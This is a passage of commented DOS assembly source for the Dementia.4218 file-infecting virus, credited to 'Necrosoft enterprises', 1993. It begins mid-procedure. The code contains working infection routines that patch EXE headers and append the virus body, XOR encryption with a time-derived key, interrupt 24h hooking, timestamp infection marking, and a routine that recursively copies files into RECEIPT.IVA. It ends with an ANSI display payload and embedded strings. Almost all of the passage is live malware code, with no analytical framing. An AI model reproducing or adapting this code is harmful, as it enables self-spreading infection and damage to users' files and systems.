; Store initial SS relative to sta... mov ax,ds:[10h] ; AX = initial SP mov cs:[stack_ptr],ax ; Store initial SP pop ax ; Load AX from stack add ax,(code_end-code_begin+0fh)/10h jae store_stack ; Above or equal? Jump to store_stack jmp inf_exe_exit nop store_stack: mov ds:[0eh],ax ; Store initial SS relative to sta... mov ax,100h ; AX = initial SP mov ds:[10h],ax ; Store initial SP push bx ; Save BX at stack mov ax,[bp-04h] ; AX = low-order word of pointer t... mov dx,[bp-02h] ; DX = high-order word of pointer ... mov bx,ds:[08h] ; BX = header size in paragraphs mov cl,0ch ; Divide by four thousand and nine... shr bx,cl ; BX = header size in sixty-five t... add dx,bx ; Add header size in sixty-five th... mov bx,ds:[08h] ; BX = header size in paragraphs mov cl,04h ; Multiply by paragraphs shl bx,cl ; BX = header size add ax,bx ; Add header size to filesize adc dx,00h ; Convert to 32-bit mov [bp-04h],ax ; Store low-order word of pointer ... mov [bp-02h],dx ; Store high-order word of pointer... pop bx ; Load BX from stack mov ax,[bp-04h] ; AX = low-order word of pointer t... mov dx,[bp-02h] ; DX = high-order word of pointer ... add ax,(code_end-code_begin) adc dx,00h ; Convet to 32-bit mov cl,07h shl dx,cl ; Multiply by one hundred and twen... push ax ; Save AX at stack mov cl,09h ; Divide by pages shr ax,cl ; AX = low-order word of pointer t... add dx,ax ; DX = number of bytes on last 512... pop ax ; Load AX from stack and ax,0000000000011111b jz store_pages ; Zero? Jump to store_pages inc dx ; Increase number of bytes on last... jmp store_pages_ nop store_pages: mov ax,200h ; AX = total number of 512-bytes p... store_pages_: mov ds:[02h],ax ; Store total number of 512-bytes ... mov ds:[04h],dx ; Store number of bytes on last 51... mov ax,ds:[0ch] ; AX = maximum paragraphs to alloc... cmp ax,10h ; Maximum paragraphs to allocate ...? jae store_maximu ; Above or equal? Jump to store_ma... mov ax,10h ; AX = new maximum paragraphs to a... store_maximu: mov ds:[0ch],ax ; Store maximum paragraphs to allo... call set_pos_sof mov cx,20h ; Write thirty-two bytes call write_file call set_pos_eof call encrypt_copy mov cx,(code_end-code_begin) call write_file inf_exe_exit: mov sp,bp ; SP = stack pointer pop bp ; Load BP from stack ret ; Return! endp encrypt_copy proc near ; Move virus to data buffer and en... push bx ; Save BX at stack mov ah,2ch ; Get system time int 21h mov bx,cx ; BX = hour and minute xor bx,dx ; BX = 16-bit random number mov ah,2ah ; Get system date int 21h xor bx,cx ; BX = 16-bit random number xor bx,dx ; BX = decryption key mov dx,bx ; DX = " " mov cs:[decrypt_key],dx ; Store decryption key pop bx ; Load BX from stack cld ; Clear direction flag mov ax,cs ; AX = code segment add ax,(code_end-code_begin+0fh)/10h mov es,ax ; ES = segment of data buffer push cs ; Save CS at stack pop ds ; Load DS from stack (CS) xor si,si ; Zero SI xor di,di ; Zero DI mov cx,(code_end-code_begin) rep movsb ; Move virus to data buffer push es ; Save ES at stack pop ds ; Load DS from stack (ES) lea si,crypt_begin-02h ; SI = offset of crypt_end mov di,si ; DI = " " " mov cx,(crypt_begin-crypt_end-02h)/02h std ; Set direction flag encrypt_loop: lodsw ; AX = word of plain code xor ax,dx ; Encrypt word stosw ; Store encrypted word loop encrypt_loop cld ; Clear direction flag ret ; Return! endp int24_store proc near ; Get and set interrupt vector 24h push bx dx ds es ; Save registers at stack mov ax,3524h ; Get interrupt vector 24h int 21h mov word ptr cs:[int24_addr],bx mov word ptr cs:[int24_addr+02h],es push cs ; Save CS at stack pop ds ; Load DS from stack (CS) lea dx,int24_virus+110h ; DX = offset of int24_virus + 110h mov ax,2524h ; Set interrupt vector 24h int 21h pop es ds dx bx ; Load registers from stack ret ; Return! endp int24_load proc near ; Set interrupt vector 24h push dx ds ; Load registers from stack mov dx,word ptr cs:[int24_addr] mov ds,word ptr cs:[int24_addr+02h] mov ax,2524h ; Set interrupt vector 24h int 21h pop ds dx ; Load registers from stack ret ; Return! endp int24_virus proc near ; Interrupt 24h of Dementia.4218 mov al,03h ; Fail system call in progress iret ; Interrupt return! endp calc_crc32 proc near ; Calculate CRC-32 checksum mov ax,cs ; AX = code segment add ax,(code_end-code_begin+0fh)/10h mov ds,ax ; DS = segment of data buffer add ax,40h ; AX = segment of CRC-32 table mov es,ax ; ES = " " " " xor di,di ; Zero DI xor cx,cx ; Zero CX gen_crc_tab: xor dx,dx ; Zero DX xor ax,ax ; Zero AX mov al,cl ; AL = counter push cx ; Save CX at stack mov cx,08h ; Calculate each CRC-32 table entr... gen_crc_loop: clc ; Clear carry flag rcr dx,01h ; Rotate DX through carry one bit ... rcr ax,01h ; Rotate AX through carry one bit ... jnc carry_loop ; No carry? Jump to carry_loop xor dx,0edb8h ; DX = high-order word of CRC-32 t... xor ax,8320h ; AX = low-order word of CRC-32 ta... carry_loop: loop gen_crc_loop mov es:[di],ax ; Store low-order word of CRC-32 t... mov es:[di+02h],dx ; Store high-order word of CRC-32 ... add di,04h ; DI = offset of next CRC-32 table... pop cx ; Load CX from stack inc cx ; Increase count register cmp cx,100h ; Generated enough CRC-32 table en... jne gen_crc_tab ; Not equal? Jump to gen_crc_tab call set_pos_sof mov dx,0ffffh ; DX = high-order word of CRC-32 c... mov ax,0ffffh ; AX = low-order word of CRC-32 ch... read_block: push ax dx ; Save registers at stack mov cx,400h ; Read one thousand and twenty-fou... call read_file cmp ax,00h ; Read all of the file? je calc_crc_xit ; Equal? Jump to calc_crc_xit mov cx,ax ; CX = number of bytes actually read pop dx ax ; Load registers from stack xor si,si ; Zero SI cal_crc_loop: push bx cx ; Save registers at stack xor bh,bh ; Zero BH mov bl,[si] ; BL = byte of file inc si ; Increase index register xor bl,al ; Exclusive OR (XOR) byte of file ... mov cl,02h shl bx,cl ; Multiply by four mov di,bx ; DI = offset of next CRC-32 table... mov al,ah ; AL = low-order byte of low-order... mov ah,dl ; AH = high-order byte of low-orde... mov dl,dh ; DL = low-order byte of high-orde... xor dh,dh ; Zero DH mov bx,es:[di] ; BX = low-order word of CRC-32 ta... xor ax,bx ; AX = low-order word of CRC-32 ch... mov bx,es:[di+02h] ; BX = high-order word of CRC-32 t... xor dx,bx ; DX = high-order word of CRC-32 c... pop cx bx ; Load registers from stack loop cal_crc_loop jmp read_block calc_crc_xit: pop dx ax ; Load registers from stack xor dx,0ffffh ; DX = high-order word of CRC-32 c... xor ax,0ffffh ; AX = low-order word of CRC-32 ch... ret ; Return! endp create_recei proc near ; Create RECEIPT.IVA file push bp ; Save BP at stack mov bp,sp ; BP = stack pointer sub sp,12h ; Correct stack pointer mov [bp-08h],ax ; Store number of file specifications mov [bp-10h],bx ; Store file handle of RECEIPT.IVA mov [bp-02h],dx ; Store store or don't store backs... mov [bp-06h],ds ; Store segment of file specificat... mov ah,3bh ; Set current directory push es ; Save ES at stack pop ds ; Load DS from stack (ES) xor dx,dx ; Zero DX int 21h mov ax,[bp-08h] ; AX = number of file specifications xor cx,cx ; Zero CX mov cl,al ; CL = number of file specifications xor dx,dx ; Zero DX find_first_: mov ds,[bp-06h] ; DS = segment of file specification push cx ; Save CX at stack mov cx,0000000000000111b call find_first push dx ; Save DX at stack jnc find_next_ ; No error? Jump to find_next_ jmp fnd_nxt_loop nop find_next_: mov ax,cs ; AX = code segment add ax,(code_end-code_begin+0fh)/10h+48h mov ds,ax ; DS = segment of disk transfer area mov dx,1eh ; DX = offset of filename call open_file mov [bp-12h],ax ; Store file handle of file within... mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA call set_pos_eof push ds ; Save DS at stack mov ax,cs ; AX = code segment add ax,(code_end-code_begin+0fh)/10h+44h mov ds,ax ; DS = segment of end of pathname mov cx,40h ; Write sixty-four bytes mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA call write_file pop ds ; Load DS from stack mov cx,0eh ; Write fourteen bytes mov dx,1eh ; DX = offset of filename call write_file_ mov ax,cs ; AX = code segment add ax,(code_end-code_begin+0fh)/10h+4ch mov ds,ax ; DS = segment of data buffer mov bx,[bp-12h] ; BX = file handle of file within ... call set_pos_eof mov ds:[00h],ax ; Store low-order word of filesize mov ds:[02h],dx ; Store high-order word of filesize mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA mov cx,04h ; Write four bytes call write_file mov bx,[bp-12h] ; BX = file handle of file within ... call set_pos_sof copy_file: mov bx,[bp-12h] ; BX = file handle of file within ... mov cx,400h ; Read one thousand and twenty-fou... call read_file cmp ax,00h ; Read all of the file? je call_fnd_nxt ; Equal? Jump to call_fnd_nxt mov cx,ax ; CX = number of bytes actually read mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA call write_file jmp copy_file call_fnd_nxt: mov bx,[bp-12h] ; BX = file handle of file within ... call close_file call find_next jc fnd_nxt_loop ; Error? Jump to fnd_nxt_loop jmp find_next_ fnd_nxt_loop: pop dx cx ; Load registers from stack add dx,0eh ; DX = offset of next file specifi... dec cx ; Decrease count register cmp cx,00h ; No more files? je copy_name ; Equal? Jump to copy_name jmp find_first_ copy_name: xor cx,cx ; Zero CX find_first__: push cx ; Save CX at stack push cs ; Save CS at stack pop ds ; Load DS from stack (CS) lea dx,file_specifi ; DX = offset of file_specifi nop mov cx,0000000000010111b call find_first jc receip_exit ; Error? Jump to receip_exit pop cx ; Load CX from stack push cx ; Save CX at stack jmp test_count nop found_dir: push cx ; Save CX at stack mov cx,01h ; Don't examine disk transfer area test_count: cmp cx,00h ; Examine disk transfer area? je examine_dta ; Equal? Jump to examine_dta call find_next jc receipt_exit ; Error? Jump to receipt_exit dec cx ; Decrease CX jmp test_count examine_dta: pop cx ; Load CX from stack inc cx ; Increase count register mov ax,cs ; AX = code segment add ax,(code_end-code_begin+0fh)/10h+44h mov es,ax ; ES = segment of end of pathname add ax,04h ; AX = segment of disk transfer area mov ds,ax ; DS = " " " " " mov si,15h ; SI = offset of attribute of file... lodsb ; AL = attribute of file found test al,00010000b ; Directory? je found_dir ; Equal? Jump to found_dir mov si,1eh ; SI = offset of filename lodsb ; AL = byte of filename cmp al,'.' ; Directory? je found_dir ; Equal? Jump to found_dir mov ax,[bp-02h] ; AX = store or don't store backslash mov di,ax ; DI = offset of end of pathname mov si,1eh ; SI = offset of filename cmp al,01h ; Don't store backslash? je copy_name_ ; Equal? Jump to copy_name_ mov al,'\' ; AL = backslash stosb ; Store backslash copy_name_: lodsb ; AL = byte of filename cmp al,00h ; End of filename? je store_zero ; Equal? Jump to store_zero stosb ; Store byte of filename jmp copy_name_ store_zero: mov dx,di ; DX = offset of end of pathname xor al,al ; AL = zero stosb ; Store zero mov ax,[bp-08h] ; AX = number of file specifications mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA mov ds,[bp-06h] ; DS = segment of file specifictions push cx ; Save CX at stack call create_recei pop cx ; Load CX from stack mov ah,3bh ; Set current directory push es ; Save ES at stack pop ds ; Load DS from stack (ES) xor dx,dx ; Zero DX mov di,[bp-02h] ; DI = offset of end of pathname xor al,al ; AL = zero stosb ; Store zero int 21h jmp find_first__ receipt_exit: pop cx ; Load CX from stack receip_exit: mov sp,bp ; SP = stack pointer pop bp ; Load BP from stack ret ; Return! endp open_file proc near ; Open file mov ax,3dffh ; Open file xor cx,cx ; CL = attribute mask of files to ... int 21h mov bx,ax ; BX = file handle ret ; Return! endp close_file proc near ; Close file mov ah,3eh ; Close file int 21h ret ; Return! endp find_first proc near ; Find first matching file mov ax,4e00h ; Find first matching file int 21h ret ; Return! endp find_next proc near ; Find next matching file mov ah,4fh ; Find next matching file int 21h ret ; Return! endp load_info proc near ; Get file's date and time mov ax,5700h ; Get file's date and time int 21h mov [bp-04h],cx ; Store file time mov [bp-02h],dx ; Store file date ret ; Return! endp infect_mark proc near ; Infection mark mov ax,5701h ; Set file's date and time mov cx,[bp-04h] ; CX = file time mov dx,[bp-02h] ; DX = file date and cx,1111111111100000b or cx,0000000000000001b int 21h ret ; Return! endp read_file proc near ; Read from file xor dx,dx ; Zero DX read_file_ proc near ; Read from file mov ah,3fh ; Read from file int 21h ret ; Return! endp endp create_file proc near ; Create file mov ah,3ch ; Create file push cs ; Save CS at stack pop ds ; Load DS from stack (CS) xor cx,cx ; CX = file attributes int 21h ret ; Return! endp write_file proc near ; Write to file xor dx,dx ; Zero DX write_file_ proc near ; Write to file mov ah,40h ; Write to file int 21h ret ; Return! endp endp set_pos_cfp proc near ; Set current file position (CFP) mov ax,4201h ; Set current file position (CFP) int 21h ret ; Return! endp set_pos_eof proc near ; Set current file position (EOF) mov ax,4202h ; Set current file position (EOF) xor cx,cx ; Zero CX cwd ; Zero DX int 21h ret ; Return! endp set_pos_sof proc near ; Set current file position (SOF) xor cx,cx ; Zero CX xor dx,dx ; Zero DX set_pos_sof_ proc near ; Set current file position (SOF) mov ax,4200h ; Set current file position (SOF) int 21h ret ; Return! endp endp delete_file proc near ; Delete file push cs ; Save CS at stack pop ds ; Load DS from stack (CS) mov ah,41h ; Delete file xor cx,cx ; CL = attribute mask for deletion int 21h ret ; Return! endp file_begin: mov ax,0b800h ; AX = segment of text video RAM mov es,ax ; ES = " " " " " xor di,di ; Zero DI mov cx,7d0h ; Store four thousand bytes mov ax,720h ; Black background color, light-gr... rep stosw ; Overwrite text video RAM xor di,di ; Zero DI mov si,(ansi_begin-file_begin+100h) mov cx,(ansi_end-ansi_begin) nop load_ansi: lodsb ; AL = byte of ansi cmp al,0ffh ; Write a string? jne store_ansi ; Not equal? Jump to store_ansi lodsb ; AL = byte of ansi dec cx ; Derease count register cmp al,0ffh ; Write a single character? je store_ansi ; Equal? Jump to store_ansi push cx si ds ; Save registers at stack xor cx,cx ; Zero CX mov cl,al ; CL = size of string lodsb ; AL = byte of ansi mov bl,al ; BL = low-order byte of offset of... lodsb ; AL = byte of ansi mov bh,al ; BH = high-order byte of offset o... mov si,bx ; SI = offset of string within ansi push es ; Save ES at stack pop ds ; Load DS from stack (ES) rep movsb ; Move string to text video RAM pop ds si cx ; Load registers at stack add si,02h ; Add two to index register sub cx,02h ; Subtract two from count register jmp ansi_loop nop nop store_ansi: stosb ; Store a byte of ansi ansi_loop: loop load_ansi int 20h ansi_begin db 20h,07h,0ffh,82h,00h,00h,0deh,0ffh,83h,01h,00h,0ffh,1dh db 00h,00h,77h,0ffh,9ch,86h,00h,0b0h,08h,0b0h,71h,0ffh,1ch db 00h,00h,0dfh,0ffh,04h,23h,01h,0ffh,0dh,0e5h,01h,0b0h,71h db 0ffh,06h,0f4h,01h,0ffh,68h,5eh,01h,0ffh,1eh,0c4h,01h,0b0h db 08h,0ffh,06h,82h,02h,0dfh,07h,0ffh,04h,8ah,02h,0ffh,10h db 0ech,01h,0ffh,5ah,0f8h,01h,0dch,07h,0dch,07h,0ffh,0bh db 0f2h,01h,71h,0ffh,05h,8Ch,02h,0ffh,1dh,0e1h,02h,0ffh,08h db 82h,02h,0ffh,06h,82h,02h,20h,07h,0ffh,06h,0f4h,01h,0b1h db 0ffh,59h,0f7h,01h,0ffh,06h,82h,02h,0ffh,05h,42h,03h,08h db 0ffh,1fh,0a4h,01h,0ffh,05h,05h,03h,0ffh,0ch,0c4h,01h db 0ffh,09h,2ch,03h,0ffh,0dh,3fh,03h,0b0h,08h,0deh,0ffh,07h db 0c5h,03h,0ffh,05h,0f6h,03h,0ffh,0bh,5dh,02h,0ffh,10h,00h db 04h,0ffh,08h,0eah,03h,0ffh,07h,42h,03h,71h,20h,71h,0ddh db 0ffh,0fh,0fdh,03h,0b1h,71h,0b1h,0ffh,05h,05h,04h,0ffh,04h db 3ah,04h,0ffh,04h,0c2h,01h,0ddh,0ffh,05h,0edh,03h,0ffh,08h db 0f0h,01h,0ffh,04h,2ah,04h,0ffh,0dh,7ah,02h,0ffh,15h,0f7h db 01h,0ffh,06h,0dch,03h,0ffh,05h,42h,04h,0ffh,05h,0a3h,03h db 0ffh,07h,0f0h,03h,0ffh,05h,81h,02h,20h,78h,20h,78h,0ffh db 09h,3eh,04h,0ffh,07h,3dh,03h,0b2h,0ffh,06h,41h,03h,0ffh db 05h,0c3h,01h,0b0h,08h,0deh,01h,0ffh,05h,0aeh,04h,0ffh,05h db 37h,03h,0ffh,06h,9ah,04h,0ffh,08h,5eh,02h,0ffh,06h,3eh db 03h,0ffh,06h,42h,04h,0ffh,04h,0ach,04h,0ffh,07h,94h,04h db 0ffh,07h,7fh,02h,0ffh,04h,0f0h,03h,0ffh,06h,0fah,03h,0ffh db 12h,74h,04h,0ffh,12h,74h,02h,0ffh,06h,0dah,04h,0ffh,06h db 42h,04h,20h,78h,0ffh,08h,0a4h,04h,20h,71h,0dbh,07h,0ffh db 08h,0eah,04h,0b2h,71h,0b2h,0ffh,07h,0c1h,04h,0ffh,06h,44h db 05h,0ffh,07h,3ah,03h,08h,0dbh,0ffh,08h,0adh,04h,0ffh,06h db 0f3h,03h,0ffh,07h,0bdh,01h,20h,78h,0ffh,05h,0b2h,04h,08h db 0ffh,08h,42h,05h,0ffh,06h,44h,05h,0ffh,06h,3ah,04h,0dch db 07h,0ffh,04h,0aeh,04h,0ffh,18h,42h,03h,0ffh,08h,86h,05h db 0ffh,0eh,0a2h,05h,0ffh,04h,44h,05h,0ffh,07h,42h,04h,0ffh db 05h,1dh,04h,0ffh,08h,0c6h,05h,20h,07h,0dbh,71h,0ffh,04h db 0dch,05h,20h,07h,0deh,01h,0ffh,04h,0e0h,05h,0ffh,04h,0c0h db 01h,0dbh,71h,0ddh,01h,0ffh,0ah,6eh,05h,0ffh,04h,0e4h,05h db 0ffh,04h,0aeh,04h,0ffh,0ch,0eeh,04h,0ffh,07h,0f2h,04h db 0ffh,06h,0ebh,03h,01h,0ffh,04h,46h,05h,0ffh,04h,0e4h,05h db 0ffh,08h,1ah,06h,0b2h,0ffh,05h,0dfh,05,0ffh,06h,0a0h,03h db 0ffh,0ch,58h,04h,0ffh,0ah,0bah,01h,0ffh,04h,0bch,04h,0ffh db 0ah,00h,00h,0ffh,04h,44h,05h,0ffh,04h,5ch,05h,0ffh,06h db 50h,05h,0ffh,06h,0b8h,04h,0ffh,06h,0dah,04h,0ffh,04h,44h db 05h,0ffh,04h,2eh,06h,0ffh,04h,0f0h,05h,0dbh,01h,0dbh,01h db 0ffh,07h,7eh,00h,0ffh,07h,87h,06h,0ffh,05h,98h,04h,0ffh db 05h,0b9h,04h,0ffh,0eh,5ch,05h,0ffh,04h,4ah,04h,0ffh,0ah db 0c8h,04h,0dbh,0ffh,05h,23h,06h,0ffh,04h,0dch,05h,0ffh,06h db 2ch,06h,0ffh,06h,0fah,05h,0ffh,06h,5ch,05h,0ffh,04h,42h db 03h,0ffh,16h,0aeh,01h,0ffh,0ah,50h,06h,0ffh,04h,2eh,06h db 0ffh,0ch,62h,06h,0ffh,0dh,0d4h,03,0ffh,09h,33h,03h,0ffh db 0ah,0e6h,04h,0ffh,0eh,0b6h,01h,0ffh,14h,0ah,07h,0ffh,0eh db 20h,07h,0ffh,07h,36h,03h,0ffh,0bh,5dh,07h,0ffh,0eh,0eh db 07h,0ffh,18h,0ach,01h,0deh,0ffh,05h,85h,06h,0ffh,06h,0dch db 05h,0ffh,04h,24h,06h,0ffh,20h,0a6h,03h,0ffh,73h,52h,01h db 0ffh,04h,0bbh,06h,01h,0dbh,01h,0ffh,1ch,0a2h,07h,28h,09h db 35h,01h,31h,01h,32h,01h,29h,09h,50h,01h,52h,01h,49h,01h db 2dh,09h,56h,01h,41h,01h,54h,01h,45h,0ffh,05h,87h,06h,0fah db 0fh,0ffh,04h,00h,00h,30h,09h,20h,07h,64h,01h,61h,01h,79h db 01h,20h,07h,77h,01h,61h,01h,72h,01h,65h,01h,73h,0ffh,0bh db 73h,08h,56h,01h,2dh,01h,58h,0ffh,07h,87h,06h,0ffh,29h db 0d2h,02h,01h,0dch,0ffh,05h,39h,08h,0dfh,0ffh,23h,0a3h,08h db 38h,09h,30h,09h,0ffh,04h,7eh,08h,6dh,01h,65h,01h,67h,0ffh db 05h,91h,08h,6fh,01h,6eh,01h,6ch,01h,69h,01h,6eh,01h,65h db 0ffh,0bh,73h,08h,55h,01h,53h,01h,52h,01h,20h,07h,44h,01h db 75h,01h,61h,01h,6ch,01h,20h,07h,31h,09h,36h,09h,2eh,01h db 38h,09h,6bh,0ffh,29h,0a3h,08h,0ffh,04h,0d2h,08h,0ffh,04h db 0d4h,08h,0dfh,0ffh,05h,3dh,08h,0ffh,8eh,0a4h,07h,0ffh,22h db 70h,07h,0ffh,40h,00h,00h,2dh,07h,5ch,0fh,2dh,07h,20h,07h db 50h,0fh,73h,0bh,79h,03h,63h,03h,68h,09h,6fh,01h,74h,0fh db 65h,0bh,0ffh,04h,76h,0ah,20h,07h,3ch,08h,49h,0fh,6dh,0bh db 61h,03h,67h,09h,65h,01h,3eh,08h,0ffh,04h,66h,0ah,2fh,0ffh db 05h,6bh,0ah,20h,07h ansi_end: file_end: temp_file db '!#TEMP#!',00h ; Temporary file request_iva db 'REQUEST.IVA',00h ; REQUEST.IVA filename db 'RECEIPT.IVA ',00h ; Filename receipt_iva db 'RECEIPT.IVA ',00h ; RECEIPT.IVA callfast_com db 'CALLFAST.COM',00h ; CALLFAST.COM file_specifi db '*.*',00h ; File specification origin_code db 0cdh,21h,? ; Original code of infected COM file int21_addr dd ? ; Address of interrupt 21h int24_addr dd ? ; Address of interrupt 24h com_or_exe db 00h ; COM or EXE executable stack_ptr dw ? ; Original stack pointer stack_seg dw ? ; Original stack segment instruct_ptr dw ? ; Original instruction pointer code_seg dw ? ; Original code segment initial_ip dw ? ; Initial IP initial_cs dw ? ; Initial CS relative to start of ... code_seg_ dw ? ; Code segment tst_filesize dw 00h ; Test or don't test filesize db 'Dementia]',00h db 'Copyright 1993 Necrosoft enterprises - All rights reserved',00h db 'I am the man that walks alone',0dh,0ah db 'And when I''m walking a dark road',0dh,0ah db 'At night or strolling through the park',0dh,0ah db 'When the light begins to change',0dh,0ah db 'I sometimes feel a little strange',0dh,0ah db 'A little anxious when it''s dark',0dh,0ah,00h crypt_begin: code_end: data_end: end code_begin